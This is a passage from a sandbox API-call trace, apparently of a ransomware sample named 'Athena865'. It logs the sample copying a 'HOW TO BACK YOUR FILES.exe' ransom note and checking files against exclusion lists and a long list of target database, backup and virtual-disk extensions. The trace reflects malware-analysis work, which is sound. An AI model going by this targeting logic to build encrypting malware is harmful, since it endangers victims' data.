dwFlags=0x0) returned 1 [0099.165] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x71380, lpName=0x0) returned 0x17c [0099.166] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x71380) returned 0x2d50000 [0099.194] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.194] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.194] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f2d8 [0099.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.195] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f2d8 [0099.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.195] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0099.200] CloseHandle (hObject=0x17c) returned 1 [0099.200] CloseHandle (hObject=0x154) returned 1 [0099.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0099.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.202] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0099.202] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0099.202] ReleaseMutex (hMutex=0xec) returned 1 [0099.202] CloseHandle (hObject=0xec) returned 1 [0099.202] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0099.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514b48 | out: hHeap=0x4f0000) returned 1 [0099.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ada0 | out: hHeap=0x4f0000) returned 1 [0099.202] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 67 [0099.202] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0CA75C4764DBD85247D9B097825C80E6") returned 0xec [0099.202] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0099.202] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0099.202] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0099.203] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0099.203] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0099.203] GetLastError () returned 0x0 [0099.203] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0099.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f2d8 [0099.203] ReadFile (in: hFile=0xf4, lpBuffer=0x53f2d8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f2d8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0099.204] CloseHandle (hObject=0xf4) returned 1 [0099.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f2d8 | out: hHeap=0x4f0000) returned 1 [0099.204] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0099.204] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0099.205] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.205] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.205] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.205] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4c145e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.205] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.205] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.205] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.205] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.205] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c145e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4c145e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0099.205] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0099.205] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2=".") returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="..") returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="windows") returned -1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="bootmgr") returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="temp") returned -1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="pagefile.sys") returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="boot") returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="ids.txt") returned 1 [0099.205] lstrcmpiW (lpString1="state.rsm", lpString2="ntuser.dat") returned 1 [0099.206] lstrcmpiW (lpString1="state.rsm", lpString2="perflogs") returned 1 [0099.206] lstrcmpiW (lpString1="state.rsm", lpString2="MSBuild") returned 1 [0099.206] lstrlenW (lpString="state.rsm") returned 9 [0099.206] lstrcpyW (in: lpString1=0x241e8d0, lpString2="state.rsm" | out: lpString1="state.rsm") returned="state.rsm" [0099.206] lstrlenW (lpString="state.rsm") returned 9 [0099.206] lstrlenW (lpString="Athena865") returned 9 [0099.206] lstrlenW (lpString=".dll") returned 4 [0099.206] lstrcmpiW (lpString1="state.rsm", lpString2=".dll") returned 1 [0099.206] lstrlenW (lpString=".lnk") returned 4 [0099.206] lstrcmpiW (lpString1="state.rsm", lpString2=".lnk") returned 1 [0099.206] lstrlenW (lpString=".ini") returned 4 [0099.206] lstrcmpiW (lpString1="state.rsm", lpString2=".ini") returned 1 [0099.206] lstrlenW (lpString=".sys") returned 4 [0099.206] lstrcmpiW (lpString1="state.rsm", lpString2=".sys") returned 1 [0099.206] lstrlenW (lpString="state.rsm") returned 9 [0099.206] lstrlenW (lpString="bak") returned 3 [0099.206] lstrcmpiW (lpString1="rsm", lpString2="bak") returned 1 [0099.206] lstrlenW (lpString="ba_") returned 3 [0099.206] lstrcmpiW (lpString1="rsm", lpString2="ba_") returned 1 [0099.206] lstrlenW (lpString="dbb") returned 3 [0099.206] lstrcmpiW (lpString1="rsm", lpString2="dbb") returned 1 [0099.206] lstrlenW (lpString="vmdk") returned 4 [0099.206] lstrcmpiW (lpString1=".rsm", lpString2="vmdk") returned -1 [0099.206] lstrlenW (lpString="rar") returned 3 [0099.206] lstrcmpiW (lpString1="rsm", lpString2="rar") returned 1 [0099.206] lstrlenW (lpString="zip") returned 3 [0099.206] lstrcmpiW (lpString1="rsm", lpString2="zip") returned -1 [0099.206] lstrlenW (lpString="tgz") returned 3 [0099.206] lstrcmpiW (lpString1="rsm", lpString2="tgz") returned -1 [0099.206] lstrlenW (lpString="vbox") returned 4 [0099.207] lstrcmpiW (lpString1=".rsm", lpString2="vbox") returned -1 [0099.207] lstrlenW (lpString="vdi") returned 3 [0099.207] lstrcmpiW (lpString1="rsm", lpString2="vdi") returned -1 [0099.207] lstrlenW (lpString="vhd") returned 3 [0099.207] lstrcmpiW (lpString1="rsm", lpString2="vhd") returned -1 [0099.207] lstrlenW (lpString="vhdx") returned 4 [0099.207] lstrcmpiW (lpString1=".rsm", lpString2="vhdx") returned -1 [0099.207] lstrlenW (lpString="avhd") returned 4 [0099.207] lstrcmpiW (lpString1=".rsm", lpString2="avhd") returned -1 [0099.207] lstrlenW (lpString="db") returned 2 [0099.207] lstrcmpiW (lpString1="sm", lpString2="db") returned 1 [0099.207] lstrlenW (lpString="db2") returned 3 [0099.207] lstrcmpiW (lpString1="rsm", lpString2="db2") returned 1 [0099.207] lstrlenW (lpString="db3") returned 3 [0099.207] lstrcmpiW (lpString1="rsm", lpString2="db3") returned 1 [0099.207] lstrlenW (lpString="dbf") returned 3 [0099.207] lstrcmpiW (lpString1="rsm", lpString2="dbf") returned 1 [0099.207] lstrlenW (lpString="mdf") returned 3 [0099.207] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1 [0099.207] lstrlenW (lpString="mdb") returned 3 [0099.207] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1 [0099.207] lstrlenW (lpString="sql") returned 3 [0099.207] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1 [0099.207] lstrlenW (lpString="sqlite") returned 6 [0099.207] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1 [0099.207] lstrlenW (lpString="sqlite3") returned 7 [0099.207] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1 [0099.207] lstrlenW (lpString="sqlitedb") returned 8 [0099.207] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1 [0099.207] lstrlenW (lpString="xml") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1 [0099.208] lstrlenW (lpString="$er") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1 [0099.208] lstrlenW (lpString="4dd") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1 [0099.208] lstrlenW (lpString="4dl") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1 [0099.208] lstrlenW (lpString="^^^") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1 [0099.208] lstrlenW (lpString="abs") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1 [0099.208] lstrlenW (lpString="abx") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1 [0099.208] lstrlenW (lpString="accdb") returned 5 [0099.208] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1 [0099.208] lstrlenW (lpString="accdc") returned 5 [0099.208] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1 [0099.208] lstrlenW (lpString="accde") returned 5 [0099.208] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1 [0099.208] lstrlenW (lpString="accdr") returned 5 [0099.208] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1 [0099.208] lstrlenW (lpString="accdt") returned 5 [0099.208] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1 [0099.208] lstrlenW (lpString="accdw") returned 5 [0099.208] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1 [0099.208] lstrlenW (lpString="accft") returned 5 [0099.208] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1 [0099.208] lstrlenW (lpString="adb") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0099.208] lstrlenW (lpString="adb") returned 3 [0099.208] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1 [0099.209] lstrlenW (lpString="ade") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1 [0099.209] lstrlenW (lpString="adf") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1 [0099.209] lstrlenW (lpString="adn") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1 [0099.209] lstrlenW (lpString="adp") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1 [0099.209] lstrlenW (lpString="alf") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1 [0099.209] lstrlenW (lpString="ask") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1 [0099.209] lstrlenW (lpString="btr") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1 [0099.209] lstrlenW (lpString="cat") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1 [0099.209] lstrlenW (lpString="cdb") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1 [0099.209] lstrlenW (lpString="ckp") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1 [0099.209] lstrlenW (lpString="cma") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1 [0099.209] lstrlenW (lpString="cpd") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1 [0099.209] lstrlenW (lpString="dacpac") returned 6 [0099.209] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1 [0099.209] lstrlenW (lpString="dad") returned 3 [0099.209] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1 [0099.209] lstrlenW (lpString="dadiagrams") returned 10 [0099.209] lstrlenW (lpString="daschema") returned 8 [0099.209] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1 [0099.210] lstrlenW (lpString="db-journal") returned 10 [0099.210] lstrlenW (lpString="db-shm") returned 6 [0099.210] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1 [0099.210] lstrlenW (lpString="db-wal") returned 6 [0099.210] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1 [0099.210] lstrlenW (lpString="dbc") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1 [0099.210] lstrlenW (lpString="dbs") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1 [0099.210] lstrlenW (lpString="dbt") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1 [0099.210] lstrlenW (lpString="dbv") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1 [0099.210] lstrlenW (lpString="dbx") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1 [0099.210] lstrlenW (lpString="dcb") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1 [0099.210] lstrlenW (lpString="dct") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1 [0099.210] lstrlenW (lpString="dcx") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1 [0099.210] lstrlenW (lpString="ddl") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1 [0099.210] lstrlenW (lpString="dlis") returned 4 [0099.210] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1 [0099.210] lstrlenW (lpString="dp1") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1 [0099.210] lstrlenW (lpString="dqy") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1 [0099.210] lstrlenW (lpString="dsk") returned 3 [0099.210] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1 [0099.211] lstrlenW (lpString="dsn") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1 [0099.211] lstrlenW (lpString="dtsx") returned 4 [0099.211] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1 [0099.211] lstrlenW (lpString="dxl") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1 [0099.211] lstrlenW (lpString="eco") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1 [0099.211] lstrlenW (lpString="ecx") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1 [0099.211] lstrlenW (lpString="edb") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1 [0099.211] lstrlenW (lpString="epim") returned 4 [0099.211] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1 [0099.211] lstrlenW (lpString="fcd") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1 [0099.211] lstrlenW (lpString="fdb") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1 [0099.211] lstrlenW (lpString="fic") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1 [0099.211] lstrlenW (lpString="flexolibrary") returned 12 [0099.211] lstrlenW (lpString="fm5") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1 [0099.211] lstrlenW (lpString="fmp") returned 3 [0099.211] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1 [0099.211] lstrlenW (lpString="fmp12") returned 5 [0099.211] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1 [0099.211] lstrlenW (lpString="fmpsl") returned 5 [0099.211] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1 [0099.211] lstrlenW (lpString="fol") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1 [0099.212] lstrlenW (lpString="fp3") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1 [0099.212] lstrlenW (lpString="fp4") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1 [0099.212] lstrlenW (lpString="fp5") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1 [0099.212] lstrlenW (lpString="fp7") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1 [0099.212] lstrlenW (lpString="fpt") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1 [0099.212] lstrlenW (lpString="frm") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1 [0099.212] lstrlenW (lpString="gdb") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0099.212] lstrlenW (lpString="gdb") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1 [0099.212] lstrlenW (lpString="grdb") returned 4 [0099.212] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1 [0099.212] lstrlenW (lpString="gwi") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1 [0099.212] lstrlenW (lpString="hdb") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1 [0099.212] lstrlenW (lpString="his") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1 [0099.212] lstrlenW (lpString="ib") returned 2 [0099.212] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1 [0099.212] lstrlenW (lpString="idb") returned 3 [0099.212] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1 [0099.212] lstrlenW (lpString="ihx") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1 [0099.213] lstrlenW (lpString="itdb") returned 4 [0099.213] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1 [0099.213] lstrlenW (lpString="itw") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1 [0099.213] lstrlenW (lpString="jet") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1 [0099.213] lstrlenW (lpString="jtx") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1 [0099.213] lstrlenW (lpString="kdb") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1 [0099.213] lstrlenW (lpString="kexi") returned 4 [0099.213] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1 [0099.213] lstrlenW (lpString="kexic") returned 5 [0099.213] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1 [0099.213] lstrlenW (lpString="kexis") returned 5 [0099.213] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1 [0099.213] lstrlenW (lpString="lgc") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1 [0099.213] lstrlenW (lpString="lwx") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1 [0099.213] lstrlenW (lpString="maf") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1 [0099.213] lstrlenW (lpString="maq") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1 [0099.213] lstrlenW (lpString="mar") returned 3 [0099.213] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1 [0099.213] lstrlenW (lpString="marshal") returned 7 [0099.213] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1 [0099.213] lstrlenW (lpString="mas") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1 [0099.214] lstrlenW (lpString="mav") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1 [0099.214] lstrlenW (lpString="maw") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1 [0099.214] lstrlenW (lpString="mdbhtml") returned 7 [0099.214] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1 [0099.214] lstrlenW (lpString="mdn") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1 [0099.214] lstrlenW (lpString="mdt") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1 [0099.214] lstrlenW (lpString="mfd") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1 [0099.214] lstrlenW (lpString="mpd") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1 [0099.214] lstrlenW (lpString="mrg") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1 [0099.214] lstrlenW (lpString="mud") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1 [0099.214] lstrlenW (lpString="mwb") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1 [0099.214] lstrlenW (lpString="myd") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1 [0099.214] lstrlenW (lpString="ndf") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1 [0099.214] lstrlenW (lpString="nnt") returned 3 [0099.214] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1 [0099.214] lstrlenW (lpString="nrmlib") returned 6 [0099.214] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1 [0099.215] lstrlenW (lpString="ns2") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1 [0099.215] lstrlenW (lpString="ns3") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1 [0099.215] lstrlenW (lpString="ns4") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1 [0099.215] lstrlenW (lpString="nsf") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1 [0099.215] lstrlenW (lpString="nv") returned 2 [0099.215] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1 [0099.215] lstrlenW (lpString="nv2") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1 [0099.215] lstrlenW (lpString="nwdb") returned 4 [0099.215] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1 [0099.215] lstrlenW (lpString="nyf") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1 [0099.215] lstrlenW (lpString="odb") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1 [0099.215] lstrlenW (lpString="odb") returned 3 [0099.215] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 